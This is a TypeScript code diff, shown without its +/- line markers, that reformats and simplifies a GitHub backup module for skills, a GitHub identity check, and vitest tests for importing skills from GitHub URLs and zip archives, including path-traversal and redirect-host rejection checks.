`/repos/${context.repoOwner}/${context.repoName}/git/refs/heads/${context.branch}`,
{ sha: commit.sha },
);
return { deleted: true as const };
} catch (err) {
const msg = err instanceof Error ? err.message : String(err);
if (msg.includes("not a fast forward") && attempt < MAX_PUSH_RETRIES - 1) {
console.warn(
`GitHub backup delete push conflict for ${skillRoot}, retrying (attempt ${attempt + 1})`,
);
continue;
}
throw err;
}
}
return { deleted: false as const };
return { deleted: true as const }
}
export async function backupSkillToGitHub(
@@ -234,150 +217,124 @@ export async function backupSkillToGitHub(
params: BackupParams,
context?: GitHubBackupContext,
) {
if (!isGitHubBackupConfigured()) return;
if (!isGitHubBackupConfigured()) return
const resolved = context ?? (await getGitHubBackupContext());
const skillRoot = buildSkillRoot(resolved.root, params.ownerHandle, params.slug);
const metaPath = `${skillRoot}/${META_FILENAME}`;
const resolved = context ?? (await getGitHubBackupContext())
const skillRoot = buildSkillRoot(resolved.root, params.ownerHandle, params.slug)
const ref = await githubGet<GitRef>(
resolved.token,
`/repos/${resolved.repoOwner}/${resolved.repoName}/git/ref/heads/${resolved.branch}`,
)
const baseCommitSha = ref.object.sha
const baseCommit = await githubGet<GitCommit>(
resolved.token,
`/repos/${resolved.repoOwner}/${resolved.repoName}/git/commits/${baseCommitSha}`,
)
const baseTreeSha = baseCommit.tree.sha
const existingTree = await githubGet<GitTree>(
resolved.token,
`/repos/${resolved.repoOwner}/${resolved.repoName}/git/trees/${baseTreeSha}?recursive=1`,
)
const prefix = `${skillRoot}/`
const existingPaths = new Set(
(existingTree.tree ?? [])
.filter((entry) => entry.type === 'blob' && entry.path?.startsWith(prefix))
.map((entry) => entry.path ?? ''),
)
const newPaths = new Set<string>()
const treeEntries: Array<{
path: string
mode: '100644'
type: 'blob'
sha: string | null
}> = []
// Phase 1: Create blobs (content-addressed, only needs to happen once).
// This is the expensive part — downloads files from Convex storage.
const fileBlobs: Array<{ path: string; blobSha: string }> = [];
for (const file of params.files) {
const content = await fetchStorageBase64(ctx, file.storageId);
const blobSha = await createBlob(
resolved.token,
resolved.repoOwner,
resolved.repoName,
content,
);
fileBlobs.push({ path: `${skillRoot}/${file.path}`, blobSha });
const content = await fetchStorageBase64(ctx, file.storageId)
const blobSha = await createBlob(resolved.token, resolved.repoOwner, resolved.repoName, content)
const path = `${skillRoot}/${file.path}`
newPaths.add(path)
treeEntries.push({ path, mode: '100644', type: 'blob', sha: blobSha })
}
// Phase 2: Build tree, commit, and push. Retry on conflict since
// a concurrent publish-time backup may have advanced the branch.
for (let attempt = 0; attempt < MAX_PUSH_RETRIES; attempt++) {
const ref = await githubGet<GitRef>(
resolved.token,
`/repos/${resolved.repoOwner}/${resolved.repoName}/git/ref/heads/${resolved.branch}`,
);
const baseCommitSha = ref.object.sha;
const baseCommit = await githubGet<GitCommit>(
resolved.token,
`/repos/${resolved.repoOwner}/${resolved.repoName}/git/commits/${baseCommitSha}`,
);
const baseTreeSha = baseCommit.tree.sha;
const existingTree = await githubGet<GitTree>(
resolved.token,
`/repos/${resolved.repoOwner}/${resolved.repoName}/git/trees/${baseTreeSha}?recursive=1`,
);
const existingMeta = await fetchMetaFile(
resolved.token,
resolved.repoOwner,
resolved.repoName,
`${skillRoot}/${META_FILENAME}`,
resolved.branch,
)
const metaPath = `${skillRoot}/${META_FILENAME}`
const metaDraft = buildMetaFile(params, existingMeta, resolved.repo, baseCommitSha, null)
const metaDraftContent = `${JSON.stringify(metaDraft, null, 2)}\n`
const metaDraftSha = await createBlob(
resolved.token,
resolved.repoOwner,
resolved.repoName,
toBase64(metaDraftContent),
)
newPaths.add(metaPath)
treeEntries.push({ path: metaPath, mode: '100644', type: 'blob', sha: metaDraftSha })
const prefix = `${skillRoot}/`;
const existingPaths = new Set(
(existingTree.tree ?? [])
.filter((entry) => entry.type === "blob" && entry.path?.startsWith(prefix))
.map((entry) => entry.path ?? ""),
);
const newPaths = new Set<string>();
const treeEntries: Array<{
path: string;
mode: "100644";
type: "blob";
sha: string | null;
}> = [];
for (const { path, blobSha } of fileBlobs) {
newPaths.add(path);
treeEntries.push({ path, mode: "100644", type: "blob", sha: blobSha });
}
const existingMeta = await fetchMetaFile(
resolved.token,
resolved.repoOwner,
resolved.repoName,
metaPath,
resolved.branch,
);
const metaDraft = buildMetaFile(params, existingMeta, resolved.repo, baseCommitSha, null);
const metaDraftContent = `${JSON.stringify(metaDraft, null, 2)}\n`;
const metaDraftSha = await createBlob(
resolved.token,
resolved.repoOwner,
resolved.repoName,
toBase64(metaDraftContent),
);
newPaths.add(metaPath);
treeEntries.push({ path: metaPath, mode: "100644", type: "blob", sha: metaDraftSha });
for (const path of existingPaths) {
if (newPaths.has(path)) continue;
treeEntries.push({ path, mode: "100644", type: "blob", sha: null });
}
const newTree = await githubPost<{ sha: string }>(
resolved.token,
`/repos/${resolved.repoOwner}/${resolved.repoName}/git/trees`,
{
base_tree: baseTreeSha,
tree: treeEntries,
},
);
const commit = await githubPost<GitCommit>(
resolved.token,
`/repos/${resolved.repoOwner}/${resolved.repoName}/git/commits`,
{
message: `skill: ${params.slug} v${params.version}`,
tree: newTree.sha,
parents: [baseCommitSha],
},
);
const metaFinal = buildMetaFile(params, existingMeta, resolved.repo, baseCommitSha, commit.sha);
const metaFinalContent = `${JSON.stringify(metaFinal, null, 2)}\n`;
const metaFinalSha = await createBlob(
resolved.token,
resolved.repoOwner,
resolved.repoName,
toBase64(metaFinalContent),
);
const metaTree = await githubPost<{ sha: string }>(
resolved.token,
`/repos/${resolved.repoOwner}/${resolved.repoName}/git/trees`,
{
base_tree: commit.tree.sha,
tree: [{ path: metaPath, mode: "100644", type: "blob", sha: metaFinalSha }],
},
);
const metaCommit = await githubPost<GitCommit>(
resolved.token,
`/repos/${resolved.repoOwner}/${resolved.repoName}/git/commits`,
{
message: `meta: ${params.slug} v${params.version}`,
tree: metaTree.sha,
parents: [commit.sha],
},
);
try {
await githubPatch(
resolved.token,
`/repos/${resolved.repoOwner}/${resolved.repoName}/git/refs/heads/${resolved.branch}`,
{ sha: metaCommit.sha },
);
return; // Success
} catch (err) {
const msg = err instanceof Error ? err.message : String(err);
if (msg.includes("not a fast forward") && attempt < MAX_PUSH_RETRIES - 1) {
console.warn(
`GitHub backup push conflict for ${params.slug}, retrying (attempt ${attempt + 1})`,
);
continue;
}
throw err;
}
for (const path of existingPaths) {
if (newPaths.has(path)) continue
treeEntries.push({ path, mode: '100644', type: 'blob', sha: null })
}
const newTree = await githubPost<{ sha: string }>(
resolved.token,
`/repos/${resolved.repoOwner}/${resolved.repoName}/git/trees`,
{
base_tree: baseTreeSha,
tree: treeEntries,
},
)
const commit = await githubPost<GitCommit>(
resolved.token,
`/repos/${resolved.repoOwner}/${resolved.repoName}/git/commits`,
{
message: `skill: ${params.slug} v${params.version}`,
tree: newTree.sha,
parents: [baseCommitSha],
},
)
const metaFinal = buildMetaFile(params, existingMeta, resolved.repo, baseCommitSha, commit.sha)
const metaFinalContent = `${JSON.stringify(metaFinal, null, 2)}\n`
const metaFinalSha = await createBlob(
resolved.token,
resolved.repoOwner,
resolved.repoName,
toBase64(metaFinalContent),
)
const metaTree = await githubPost<{ sha: string }>(
resolved.token,
`/repos/${resolved.repoOwner}/${resolved.repoName}/git/trees`,
{
base_tree: commit.tree.sha,
tree: [{ path: metaPath, mode: '100644', type: 'blob', sha: metaFinalSha }],
},
)
const metaCommit = await githubPost<GitCommit>(
resolved.token,
`/repos/${resolved.repoOwner}/${resolved.repoName}/git/commits`,
{
message: `meta: ${params.slug} v${params.version}`,
tree: metaTree.sha,
parents: [commit.sha],
},
)
await githubPatch(
resolved.token,
`/repos/${resolved.repoOwner}/${resolved.repoName}/git/refs/heads/${resolved.branch}`,
{
sha: metaCommit.sha,
},
)
}
function buildMetaFile(
@@ -387,15 +344,15 @@ function buildMetaFile(
baseCommitSha: string,
latestCommitSha: string | null,
): MetaFile {
let history = [...(existing?.history ?? [])];
let history = [...(existing?.history ?? [])]
if (existing?.latest?.version) {
const previousCommit = existing.latest.commit ?? commitUrl(repo, baseCommitSha);
const previousCommit = existing.latest.commit ?? commitUrl(repo, baseCommitSha)
const previous = {
version: existing.latest.version,
publishedAt: existing.latest.publishedAt,
commit: previousCommit,
};
history = [previous, ...history.filter((entry) => entry.version !== previous.version)];
}
history = [previous, ...history.filter((entry) => entry.version !== previous.version)]
}
return {
@@ -408,7 +365,7 @@ function buildMetaFile(
commit: latestCommitSha ? commitUrl(repo, latestCommitSha) : null,
},
history: history.slice(0, 200),
};
}
}
async function fetchMetaFile(
@@ -422,63 +379,63 @@ async function fetchMetaFile(
const response = await githubGet<{ content?: string }>(
token,
`/repos/${repoOwner}/${repoName}/contents/${encodePath(path)}?ref=${branch}`,
);
if (!response.content) return null;
const raw = fromBase64(response.content);
return JSON.parse(raw) as MetaFile;
)
if (!response.content) return null
const raw = fromBase64(response.content)
return JSON.parse(raw) as MetaFile
} catch (error) {
if (isNotFoundError(error)) return null;
throw error;
if (isNotFoundError(error)) return null
throw error
}
}
async function fetchStorageBase64(ctx: ActionCtx, storageId: Id<"_storage">) {
const blob = await ctx.storage.get(storageId);
if (!blob) throw new Error("File missing in storage");
const buffer = Buffer.from(await blob.arrayBuffer());
return buffer.toString("base64");
async function fetchStorageBase64(ctx: ActionCtx, storageId: Id<'_storage'>) {
const blob = await ctx.storage.get(storageId)
if (!blob) throw new Error('File missing in storage')
const buffer = Buffer.from(await blob.arrayBuffer())
return buffer.toString('base64')
}
async function createInstallationToken() {
const appId = process.env.GITHUB_APP_ID;
const installationId = process.env.GITHUB_APP_INSTALLATION_ID;
const appId = process.env.GITHUB_APP_ID
const installationId = process.env.GITHUB_APP_INSTALLATION_ID
if (!appId || !installationId) {
throw new Error("GitHub App credentials missing");
throw new Error('GitHub App credentials missing')
}
const jwt = createAppJwt(appId);
const jwt = createAppJwt(appId)
const response = await fetch(`${GITHUB_API}/app/installations/${installationId}/access_tokens`, {
method: "POST",
method: 'POST',
headers: buildHeaders(jwt, true),
});
})
if (!response.ok) {
const message = await response.text();
throw new Error(`GitHub App token failed: ${message}`);
const message = await response.text()
throw new Error(`GitHub App token failed: ${message}`)
}
const payload = (await response.json()) as { token?: string };
if (!payload.token) throw new Error("GitHub App token missing");
return payload.token;
const payload = (await response.json()) as { token?: string }
if (!payload.token) throw new Error('GitHub App token missing')
return payload.token
}
function createAppJwt(appId: string) {
const privateKey = loadPrivateKey();
const now = Math.floor(Date.now() / 1000);
const header = { alg: "RS256", typ: "JWT" };
const payload = { iat: now - 60, exp: now + 9 * 60, iss: appId };
const encodedHeader = base64Url(JSON.stringify(header));
const encodedPayload = base64Url(JSON.stringify(payload));
const signingInput = `${encodedHeader}.${encodedPayload}`;
const sign = createSign("RSA-SHA256");
sign.update(signingInput);
sign.end();
const signature = sign.sign(privateKey);
return `${signingInput}.${base64Url(signature)}`;
const privateKey = loadPrivateKey()
const now = Math.floor(Date.now() / 1000)
const header = { alg: 'RS256', typ: 'JWT' }
const payload = { iat: now - 60, exp: now + 9 * 60, iss: appId }
const encodedHeader = base64Url(JSON.stringify(header))
const encodedPayload = base64Url(JSON.stringify(payload))
const signingInput = `${encodedHeader}.${encodedPayload}`
const sign = createSign('RSA-SHA256')
sign.update(signingInput)
sign.end()
const signature = sign.sign(privateKey)
return `${signingInput}.${base64Url(signature)}`
}
function loadPrivateKey() {
const raw = process.env.GITHUB_APP_PRIVATE_KEY;
if (!raw) throw new Error("GITHUB_APP_PRIVATE_KEY is not configured");
const normalized = raw.replace(/\\n/g, "\n");
return createPrivateKey(normalized);
const raw = process.env.GITHUB_APP_PRIVATE_KEY
if (!raw) throw new Error('GITHUB_APP_PRIVATE_KEY is not configured')
const normalized = raw.replace(/\\n/g, '\n')
return createPrivateKey(normalized)
}
async function createBlob(token: string, repoOwner: string, repoName: string, content: string) {
@@ -487,104 +444,104 @@ async function createBlob(token: string, repoOwner: string, repoName: string, co
`/repos/${repoOwner}/${repoName}/git/blobs`,
{
content,
encoding: "base64",
encoding: 'base64',
},
);
if (!result.sha) throw new Error("GitHub blob missing sha");
return result.sha;
)
if (!result.sha) throw new Error('GitHub blob missing sha')
return result.sha
}
async function githubGet<T>(token: string, path: string): Promise<T> {
const response = await fetch(`${GITHUB_API}${path}`, {
headers: buildHeaders(token),
});
})
if (!response.ok) {
const message = await response.text();
throw new Error(`GitHub GET ${path} failed: ${message}`);
const message = await response.text()
throw new Error(`GitHub GET ${path} failed: ${message}`)
}
return (await response.json()) as T;
return (await response.json()) as T
}
async function githubPost<T>(token: string, path: string, body: unknown): Promise<T> {
const response = await fetch(`${GITHUB_API}${path}`, {
method: "POST",
method: 'POST',
headers: buildHeaders(token),
body: JSON.stringify(body),
});
})
if (!response.ok) {
const message = await response.text();
throw new Error(`GitHub POST ${path} failed: ${message}`);
const message = await response.text()
throw new Error(`GitHub POST ${path} failed: ${message}`)
}
return (await response.json()) as T;
return (await response.json()) as T
}
async function githubPatch(token: string, path: string, body: unknown) {
const response = await fetch(`${GITHUB_API}${path}`, {
method: "PATCH",
method: 'PATCH',
headers: buildHeaders(token),
body: JSON.stringify(body),
});
})
if (!response.ok) {
const message = await response.text();
throw new Error(`GitHub PATCH ${path} failed: ${message}`);
const message = await response.text()
throw new Error(`GitHub PATCH ${path} failed: ${message}`)
}
}
function buildHeaders(token: string, isAppJwt = false) {
return {
Authorization: `${isAppJwt ? "Bearer" : "token"} ${token}`,
Accept: "application/vnd.github+json",
"User-Agent": USER_AGENT,
};
Authorization: `${isAppJwt ? 'Bearer' : 'token'} ${token}`,
Accept: 'application/vnd.github+json',
'User-Agent': USER_AGENT,
}
}
function parseRepo(repo: string) {
const [owner, name] = repo.split("/");
if (!owner || !name) throw new Error("GITHUB_SKILLS_REPO must be owner/repo");
return [owner, name] as const;
const [owner, name] = repo.split('/')
if (!owner || !name) throw new Error('GITHUB_SKILLS_REPO must be owner/repo')
return [owner, name] as const
}
export function normalizeOwner(value: string) {
const normalized = value
.trim()
.toLowerCase()
.replace(/[^a-z0-9-]/g, "-")
.replace(/-+/g, "-")
.replace(/^-+|-+$/g, "");
return normalized || "unknown";
.replace(/[^a-z0-9-]/g, '-')
.replace(/-+/g, '-')
.replace(/^-+|-+$/g, '')
return normalized || 'unknown'
}
function commitUrl(repo: string, sha: string) {
return `https://github.com/${repo}/commit/${sha}`;
return `https://github.com/${repo}/commit/${sha}`
}
function buildSkillRoot(root: string, ownerHandle: string, slug: string) {
const ownerSegment = normalizeOwner(ownerHandle);
return `${root}/${ownerSegment}/${slug}`;
const ownerSegment = normalizeOwner(ownerHandle)
return `${root}/${ownerSegment}/${slug}`
}
function encodePath(path: string) {
return path
.split("/")
.split('/')
.map((segment) => encodeURIComponent(segment))
.join("/");
.join('/')
}
function base64Url(value: string | Uint8Array) {
const buffer = typeof value === "string" ? Buffer.from(value) : Buffer.from(value);
return buffer.toString("base64").replace(/\+/g, "-").replace(/\//g, "_").replace(/=+$/g, "");
function base64Url(value: string | Buffer) {
const buffer = typeof value === 'string' ? Buffer.from(value) : value
return buffer.toString('base64').replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/g, '')
}
function toBase64(value: string) {
return Buffer.from(value).toString("base64");
return Buffer.from(value).toString('base64')
}
function fromBase64(value: string) {
return Buffer.from(value, "base64").toString("utf8");
return Buffer.from(value, 'base64').toString('utf8')
}
function isNotFoundError(error: unknown) {
return (
error instanceof Error && (error.message.includes("404") || error.message.includes("Not Found"))
);
error instanceof Error && (error.message.includes('404') || error.message.includes('Not Found'))
)
}
+16 -16
View File
@@ -1,19 +1,19 @@
import { describe, expect, it } from "vitest";
import { canHealSkillOwnershipByGitHubProviderAccountId } from "./githubIdentity";
import { describe, expect, it } from 'vitest'
import { canHealSkillOwnershipByGitHubProviderAccountId } from './githubIdentity'
describe("canHealSkillOwnershipByGitHubProviderAccountId", () => {
it("denies when either providerAccountId is missing", () => {
expect(canHealSkillOwnershipByGitHubProviderAccountId(undefined, undefined)).toBe(false);
expect(canHealSkillOwnershipByGitHubProviderAccountId("123", undefined)).toBe(false);
expect(canHealSkillOwnershipByGitHubProviderAccountId(undefined, "123")).toBe(false);
expect(canHealSkillOwnershipByGitHubProviderAccountId(null, "123")).toBe(false);
});
describe('canHealSkillOwnershipByGitHubProviderAccountId', () => {
it('denies when either providerAccountId is missing', () => {
expect(canHealSkillOwnershipByGitHubProviderAccountId(undefined, undefined)).toBe(false)
expect(canHealSkillOwnershipByGitHubProviderAccountId('123', undefined)).toBe(false)
expect(canHealSkillOwnershipByGitHubProviderAccountId(undefined, '123')).toBe(false)
expect(canHealSkillOwnershipByGitHubProviderAccountId(null, '123')).toBe(false)
})
it("denies when providerAccountId differs", () => {
expect(canHealSkillOwnershipByGitHubProviderAccountId("123", "456")).toBe(false);
});
it('denies when providerAccountId differs', () => {
expect(canHealSkillOwnershipByGitHubProviderAccountId('123', '456')).toBe(false)
})
it("allows when providerAccountId matches", () => {
expect(canHealSkillOwnershipByGitHubProviderAccountId("123", "123")).toBe(true);
});
});
it('allows when providerAccountId matches', () => {
expect(canHealSkillOwnershipByGitHubProviderAccountId('123', '123')).toBe(true)
})
})
+10 -10
View File
@@ -1,22 +1,22 @@
import type { Id } from "../_generated/dataModel";
import type { QueryCtx } from "../_generated/server";
import type { Id } from '../_generated/dataModel'
import type { QueryCtx } from '../_generated/server'
export function canHealSkillOwnershipByGitHubProviderAccountId(
ownerProviderAccountId: string | null | undefined,
callerProviderAccountId: string | null | undefined,
) {
// Security invariant: missing identity must never grant ownership.
if (!ownerProviderAccountId || !callerProviderAccountId) return false;
return ownerProviderAccountId === callerProviderAccountId;
if (!ownerProviderAccountId || !callerProviderAccountId) return false
return ownerProviderAccountId === callerProviderAccountId
}
export async function getGitHubProviderAccountId(
ctx: Pick<QueryCtx, "db">,
userId: Id<"users">,
ctx: Pick<QueryCtx, 'db'>,
userId: Id<'users'>,
): Promise<string | null> {
const account = await ctx.db
.query("authAccounts")
.withIndex("userIdAndProvider", (q) => q.eq("userId", userId).eq("provider", "github"))
.unique();
return account?.providerAccountId ?? null;
.query('authAccounts')
.withIndex('userIdAndProvider', (q) => q.eq('userId', userId).eq('provider', 'github'))
.unique()
return account?.providerAccountId ?? null
}
+171 -171
View File
@@ -1,7 +1,7 @@
/* @vitest-environment node */
import { unzipSync } from "fflate";
import { describe, expect, it } from "vitest";
import { unzipSync } from 'fflate'
import { describe, expect, it } from 'vitest'
import {
buildGitHubZipForTests,
computeDefaultSelectedPaths,
@@ -12,236 +12,236 @@ import {
resolveGitHubCommit,
resolveMarkdownTarget,
stripGitHubZipRoot,
} from "./githubImport";
} from './githubImport'
function requestInfoToUrlString(input: RequestInfo | URL): string {
if (typeof input === "string") return input;
if (input instanceof URL) return input.toString();
if (input instanceof Request) return input.url;
if (typeof input === 'string') return input
if (input instanceof URL) return input.toString()
if (input instanceof Request) return input.url
throw new Error("Unexpected fetch input type");
throw new Error('Unexpected fetch input type')
}
describe("github import", () => {
it("parses repo root urls", () => {
expect(parseGitHubImportUrl("https://github.com/visionik/ouracli")).toEqual({
owner: "visionik",
repo: "ouracli",
originalUrl: "https://github.com/visionik/ouracli",
});
});
describe('github import', () => {
it('parses repo root urls', () => {
expect(parseGitHubImportUrl('https://github.com/visionik/ouracli')).toEqual({
owner: 'visionik',
repo: 'ouracli',
originalUrl: 'https://github.com/visionik/ouracli',
})
})
it("rejects non-https and non-github urls", () => {
expect(() => parseGitHubImportUrl("http://github.com/a/b")).toThrow(/https/i);
expect(() => parseGitHubImportUrl("https://example.com/a/b")).toThrow(/github\.com/i);
expect(() => parseGitHubImportUrl("not-a-url")).toThrow(/Invalid URL/i);
});
it('rejects non-https and non-github urls', () => {
expect(() => parseGitHubImportUrl('http://github.com/a/b')).toThrow(/https/i)
expect(() => parseGitHubImportUrl('https://example.com/a/b')).toThrow(/github\.com/i)
expect(() => parseGitHubImportUrl('not-a-url')).toThrow(/Invalid URL/i)
})
it("rejects malformed tree/blob urls", () => {
expect(() => parseGitHubImportUrl("https://github.com/a/b/tree/")).toThrow(/Missing ref/i);
expect(() => parseGitHubImportUrl("https://github.com/a/b/blob/main")).toThrow(/Missing path/i);
expect(() => parseGitHubImportUrl("https://github.com/a/b/tree/main/bad%5cpath")).toThrow();
});
it('rejects malformed tree/blob urls', () => {
expect(() => parseGitHubImportUrl('https://github.com/a/b/tree/')).toThrow(/Missing ref/i)
expect(() => parseGitHubImportUrl('https://github.com/a/b/blob/main')).toThrow(/Missing path/i)
expect(() => parseGitHubImportUrl('https://github.com/a/b/tree/main/bad%5cpath')).toThrow()
})
it("parses tree urls with ref and path", () => {
expect(parseGitHubImportUrl("https://github.com/a/b/tree/main/skills/foo")).toEqual({
owner: "a",
repo: "b",
ref: "main",
path: "skills/foo",
originalUrl: "https://github.com/a/b/tree/main/skills/foo",
});
});
it('parses tree urls with ref and path', () => {
expect(parseGitHubImportUrl('https://github.com/a/b/tree/main/skills/foo')).toEqual({
owner: 'a',
repo: 'b',
ref: 'main',
path: 'skills/foo',
originalUrl: 'https://github.com/a/b/tree/main/skills/foo',
})
})
it("parses blob urls and derives folder path", () => {
expect(parseGitHubImportUrl("https://github.com/a/b/blob/main/skills/foo/SKILL.md")).toEqual({
owner: "a",
repo: "b",
ref: "main",
path: "skills/foo",
originalUrl: "https://github.com/a/b/blob/main/skills/foo/SKILL.md",
});
});
it('parses blob urls and derives folder path', () => {
expect(parseGitHubImportUrl('https://github.com/a/b/blob/main/skills/foo/SKILL.md')).toEqual({
owner: 'a',
repo: 'b',
ref: 'main',
path: 'skills/foo',
originalUrl: 'https://github.com/a/b/blob/main/skills/foo/SKILL.md',
})
})
it("strips single top-level folder from GitHub zip entries", () => {
it('strips single top-level folder from GitHub zip entries', () => {
const zip = buildGitHubZipForTests({
"repo-1/skill/SKILL.md": "Body",
"repo-1/skill/a.txt": "a",
});
const stripped = stripGitHubZipRoot(unzipSync(zip));
expect(Object.keys(stripped).sort()).toEqual(["skill/SKILL.md", "skill/a.txt"]);
});
'repo-1/skill/SKILL.md': 'Body',
'repo-1/skill/a.txt': 'a',
})
const stripped = stripGitHubZipRoot(unzipSync(zip))
expect(Object.keys(stripped).sort()).toEqual(['skill/SKILL.md', 'skill/a.txt'])
})
it("keeps paths when zip has multiple top-level roots", () => {
it('keeps paths when zip has multiple top-level roots', () => {
const zip = buildGitHubZipForTests({
"a/SKILL.md": "Body",
"b/SKILL.md": "Body",
});
const stripped = stripGitHubZipRoot(unzipSync(zip));
expect(Object.keys(stripped).sort()).toEqual(["a/SKILL.md", "b/SKILL.md"]);
});
'a/SKILL.md': 'Body',
'b/SKILL.md': 'Body',
})
const stripped = stripGitHubZipRoot(unzipSync(zip))
expect(Object.keys(stripped).sort()).toEqual(['a/SKILL.md', 'b/SKILL.md'])
})
it("detects candidates in a GitHub zip and strips the root folder", () => {
it('detects candidates in a GitHub zip and strips the root folder', () => {
const zip = buildGitHubZipForTests({
"ouracli-123/SKILL.md": `---\nname: demo\ndescription: Hello\n---\nBody`,
"ouracli-123/src/index.ts": "export {}",
});
const stripped = stripGitHubZipRoot(unzipSync(zip));
const candidates = detectGitHubImportCandidates(stripped);
expect(candidates.map((c) => c.path)).toEqual([""]);
expect(candidates[0]?.name).toBe("demo");
});
'ouracli-123/SKILL.md': `---\nname: demo\ndescription: Hello\n---\nBody`,
'ouracli-123/src/index.ts': 'export {}',
})
const stripped = stripGitHubZipRoot(unzipSync(zip))
const candidates = detectGitHubImportCandidates(stripped)
expect(candidates.map((c) => c.path)).toEqual([''])
expect(candidates[0]?.name).toBe('demo')
})
it("detects multiple candidates and supports skills.md", () => {
it('detects multiple candidates and supports skills.md', () => {
const zip = buildGitHubZipForTests({
"repo-1/alpha/SKILL.md": `---\nname: Alpha\n---\nBody`,
"repo-1/beta/skills.md": `---\nname: Beta\n---\nBody`,
"repo-1/readme.md": "x",
});
const stripped = stripGitHubZipRoot(unzipSync(zip));
const candidates = detectGitHubImportCandidates(stripped);
expect(candidates.map((c) => c.path)).toEqual(["alpha", "beta"]);
expect(candidates.map((c) => c.name)).toEqual(["Alpha", "Beta"]);
});
'repo-1/alpha/SKILL.md': `---\nname: Alpha\n---\nBody`,
'repo-1/beta/skills.md': `---\nname: Beta\n---\nBody`,
'repo-1/readme.md': 'x',
})
const stripped = stripGitHubZipRoot(unzipSync(zip))
const candidates = detectGitHubImportCandidates(stripped)
expect(candidates.map((c) => c.path)).toEqual(['alpha', 'beta'])
expect(candidates.map((c) => c.name)).toEqual(['Alpha', 'Beta'])
})
it("computes default selection via markdown references", () => {
it('computes default selection via markdown references', () => {
const entries = {
"skill/SKILL.md": `---\nname: demo\n---\nSee [usage](docs/usage.md) and ![logo](img/logo.svg).\nIgnore [web](https://example.com).`,
"skill/docs/usage.md": `See [more](more.md)`,
"skill/docs/more.md": `Ok`,
"skill/img/logo.svg": `<svg/>`,
"skill/extra.txt": "not referenced",
};
'skill/SKILL.md': `---\nname: demo\n---\nSee [usage](docs/usage.md) and ![logo](img/logo.svg).\nIgnore [web](https://example.com).`,
'skill/docs/usage.md': `See [more](more.md)`,
'skill/docs/more.md': `Ok`,
'skill/img/logo.svg': `<svg/>`,
'skill/extra.txt': 'not referenced',
}
const zip = buildGitHubZipForTests(
Object.fromEntries(Object.entries(entries).map(([k, v]) => [`repo-1/${k}`, v])),
);
const raw = unzipSync(zip);
const stripped = stripGitHubZipRoot(raw);
const candidates = detectGitHubImportCandidates(stripped);
const candidate = candidates.find((c) => c.path === "skill");
expect(candidate).toBeTruthy();
if (!candidate) throw new Error("candidate not found");
)
const raw = unzipSync(zip)
const stripped = stripGitHubZipRoot(raw)
const candidates = detectGitHubImportCandidates(stripped)
const candidate = candidates.find((c) => c.path === 'skill')
expect(candidate).toBeTruthy()
if (!candidate) throw new Error('candidate not found')
const files = Object.entries(stripped)
.filter(([path]) => path.startsWith("skill/"))
.map(([path, bytes]) => ({ path, bytes }));
const selected = computeDefaultSelectedPaths({ candidate, files });
expect(selected).toContain("skill/SKILL.md");
expect(selected).toContain("skill/docs/usage.md");
expect(selected).toContain("skill/docs/more.md");
expect(selected).toContain("skill/img/logo.svg");
expect(selected).not.toContain("skill/extra.txt");
});
.filter(([path]) => path.startsWith('skill/'))
.map(([path, bytes]) => ({ path, bytes }))
const selected = computeDefaultSelectedPaths({ candidate, files })
expect(selected).toContain('skill/SKILL.md')
expect(selected).toContain('skill/docs/usage.md')
expect(selected).toContain('skill/docs/more.md')
expect(selected).toContain('skill/img/logo.svg')
expect(selected).not.toContain('skill/extra.txt')
})
it("does not select files outside skill folder (even when referenced)", () => {
it('does not select files outside skill folder (even when referenced)', () => {
const entries = {
"skill/SKILL.md": `See [outside](../outside.md) and [abs](/abs.md) and [mail](mailto:test@example.com).`,
"outside.md": `secret`,
"skill/docs/usage.md": `Ok`,
};
'skill/SKILL.md': `See [outside](../outside.md) and [abs](/abs.md) and [mail](mailto:test@example.com).`,
'outside.md': `secret`,
'skill/docs/usage.md': `Ok`,
}
const zip = buildGitHubZipForTests(
Object.fromEntries(Object.entries(entries).map(([k, v]) => [`repo-1/${k}`, v])),
);
const stripped = stripGitHubZipRoot(unzipSync(zip));
const candidate = detectGitHubImportCandidates(stripped).find((c) => c.path === "skill");
expect(candidate).toBeTruthy();
if (!candidate) throw new Error("candidate not found");
const files = Object.entries(stripped).map(([path, bytes]) => ({ path, bytes }));
const selected = computeDefaultSelectedPaths({ candidate, files });
expect(selected).toContain("skill/SKILL.md");
expect(selected).not.toContain("outside.md");
});
)
const stripped = stripGitHubZipRoot(unzipSync(zip))
const candidate = detectGitHubImportCandidates(stripped).find((c) => c.path === 'skill')
expect(candidate).toBeTruthy()
if (!candidate) throw new Error('candidate not found')
const files = Object.entries(stripped).map(([path, bytes]) => ({ path, bytes }))
const selected = computeDefaultSelectedPaths({ candidate, files })
expect(selected).toContain('skill/SKILL.md')
expect(selected).not.toContain('outside.md')
})
it("extracts markdown targets with titles and angle brackets", () => {
it('extracts markdown targets with titles and angle brackets', () => {
const targets = extractMarkdownRelativeTargets(
`See [a](docs/usage.md "Title") and [b](<docs/my file.md>) and ![c](img/logo.svg)`,
);
expect(targets).toEqual(["docs/usage.md", "docs/my file.md", "img/logo.svg"]);
});
)
expect(targets).toEqual(['docs/usage.md', 'docs/my file.md', 'img/logo.svg'])
})
it("resolves markdown targets safely", () => {
expect(resolveMarkdownTarget("a/SKILL.md", "docs/usage.md")).toBe("a/docs/usage.md");
expect(resolveMarkdownTarget("a/SKILL.md", "../oops.md")).toBeNull();
expect(resolveMarkdownTarget("a/SKILL.md", "/abs.md")).toBeNull();
expect(resolveMarkdownTarget("a/SKILL.md", "docs/usage.md#section")).toBe("a/docs/usage.md");
expect(resolveMarkdownTarget("a/SKILL.md", "docs/usage.md?x=1")).toBe("a/docs/usage.md");
});
it('resolves markdown targets safely', () => {
expect(resolveMarkdownTarget('a/SKILL.md', 'docs/usage.md')).toBe('a/docs/usage.md')
expect(resolveMarkdownTarget('a/SKILL.md', '../oops.md')).toBeNull()
expect(resolveMarkdownTarget('a/SKILL.md', '/abs.md')).toBeNull()
expect(resolveMarkdownTarget('a/SKILL.md', 'docs/usage.md#section')).toBe('a/docs/usage.md')
expect(resolveMarkdownTarget('a/SKILL.md', 'docs/usage.md?x=1')).toBe('a/docs/usage.md')
})
it("resolves HEAD commit via redirect chain and refuses unexpected redirect hosts", async () => {
it('resolves HEAD commit via redirect chain and refuses unexpected redirect hosts', async () => {
const fetcher: typeof fetch = async (input) => {
const url = requestInfoToUrlString(input);
if (url.includes("/archive/HEAD.zip")) {
const url = requestInfoToUrlString(input)
if (url.includes('/archive/HEAD.zip')) {
return new Response(null, {
status: 302,
